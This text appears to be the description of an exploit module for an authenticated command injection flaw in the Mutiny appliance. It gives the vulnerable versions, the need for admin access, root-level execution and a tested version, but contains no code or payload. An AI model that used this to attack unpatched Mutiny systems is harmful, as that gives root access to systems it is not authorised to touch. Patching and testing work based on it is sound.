This module exploits an authenticated command injection vulnerability in the
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
the vulnerability the mutiny user must have access to the admin interface. The
injected commands are executed with root privileges. This module has been tested
successfully on Mutiny 4.2-1.05.
